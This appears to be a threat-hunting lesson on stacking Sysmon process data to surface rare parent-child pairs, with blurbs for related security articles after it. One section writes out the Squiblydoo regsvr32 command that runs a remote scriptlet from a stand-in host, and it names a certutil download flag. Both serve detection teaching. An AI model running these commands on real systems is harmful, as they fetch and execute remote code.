Lesson 10 of 14 · 14m
Stacking, Then Explaining the Tail
Frequency analysis ranks leads — rare is a rank not a verdict, and baselines must be per host class.
Stacking is group-by plus count. Take a field tuple — parent image and child image, binary and signer, user and host, destination domain and resolved IPs — stats count by it, sort ascending, and read the tail. Attackers are rare almost by definition; the tail of a frequency distribution over a large fleet is where rare things accumulate, and a hunt that works the tail down is a hunt that runs on arithmetic instead of intuition.
The classic stack is parent→child over Sysmon 1:
index=sysmon EventCode=1
| stats count by parent_name, Image
| sort + countA fleet of a few thousand endpoints returns a few hundred distinct pairs. The bulk is explainable in seconds — explorer.exe→everything, services.exe→svchost.exe, your RMM agent→powershell.exe. Then the tail: WINWORD.EXE→powershell.exe with count 1, EXCEL.EXE→certutil.exe, outlook.exe→cmd.exe. Each one is either a documented admin quirk or a hypothesis. WINWORD.EXE spawning powershell.exe is the single most reliable macro-malware tell in existence — it appears in essentially every Emotet/Qakbot-style doc chain — and stacking surfaces it whether or not any rule knew the file's name.
Rare is a rank, not a verdict
The wrong model is "rare equals evil." A one-off PowerShell process on a build server is Tuesday; the identical process on a domain controller is an event. Stacking ranks leads, it does not convict them — every tail item still gets the pivot treatment. The second wrong model is the global baseline: one fleet-wide "normal" applied uniformly. Baselines have to be per host class. Build servers run compilers and scripts; finance laptops run Office and a VPN client; domain controllers run almost nothing. A stack that can't tell the difference between those populations will convict your CI farm every week.
And the third: name-based allowlisting. regsvr32.exe runs constantly and is a LOLBin — regsvr32 /s /n /u /i:http://evil.example/x.sct scrobj.dll is the Squiblydoo bypass Casey Smith published in 2016, and it executes a remote scriptlet through a signed Microsoft binary. certutil -urlcache -split -f downloads files. bitsadmin, mshta, installutil — the LOLBAS project catalogs all of them. The defense is not to stack on image name but on (image, command-line shape): regsvr32 without /i:http, certutil without -urlcache. The args are the signal; the binary is the costume.
Carving the tail efficiently
The tail of a fleet-wide stack is longer than any analyst's afternoon, so triage it in passes. First pass: kill everything attributable to a named, signed, expected parent — your management agent, your backup client, your software deployment tool. Second pass: kill the duplicates — the same pair across 40 hosts is an application, not forty incidents. What remains after two passes is usually single-digit count, and every item gets a pivot. Time-of-day is the free second dimension: a process pair that is rare and first-seen last Tuesday at 03:14 is a different conversation than the same pair with a three-year history. Sysmon 1's UtcTime and the 4624 session window give you that for free — use it before you spend a pivot.
The baseline loop
A baseline is the same stack run over the last N days of each host class, saved and diffed against tomorrow's. Anything new in today's stack that wasn't in the baseline is a lead with an automatic first question: did the environment change, or did something arrive? Run five stacks weekly — parent→child, unsigned binaries in user-writable dirs, service binaries by path, accounts by source host, outbound domains by resolved ASN — and document every tail item you explain. The unexplained remainder is the input queue for real hunts, which is where the hypotheses from earlier lessons come from.
One warning on mechanics: stacks are only as honest as the join behind them. Grouping DeviceProcessEvents on InitiatingProcessFileName when you meant InitiatingProcessCommandLine collapses powershell.exe -enc into powershell.exe — the exact distinction that mattered. Group on the richest field tuple your telemetry carries, then project down for display.
Was this lesson helpful?
Keep reading
Related articles from the SudoSecurity blog.
Immich Had Fourteen Advisories and One Bug It Fixed Three Times
Immich's 2026 security record runs to fourteen advisories, and they cluster hard: the sharing features, the OAuth plumbing, and one login redirect parameter that took three separate fixes across eighty-three days. Plus the 3.0 migration traps still waiting for anyone who hasn't jumped yet.
Jellyfin's Threat Model Is Your Brother-in-Law
Four Jellyfin CVEs landed in 2026 and not one of them needs an admin account. One needs only the ability to name a file. Meanwhile Jellyfin 12 shipped in September, the version numbers stopped starting with 10, and every "am I patched" check you wrote is now wrong.
Node.js Fixed 16 Flaws in One Release. Most of Them Live in HTTP/2 and TLS.
The November 11 Node.js security releases fix 16 CVEs across the 26, 24 and 22 lines, seven of them rated high. Nearly all sit in HTTP/2 and TLS, where a remote client can crash a server, leak memory, or get past per-host client-certificate checks.
Next.js Shipped Seven Advisories and Six of Them Are the Cache
The November 2026 Next.js security release patches seven issues, and six live in the new Cache Components layer, the feature meant to make your app faster by remembering more. Three hit self-hosted next start specifically: the ones Vercel's own platform quietly absorbs.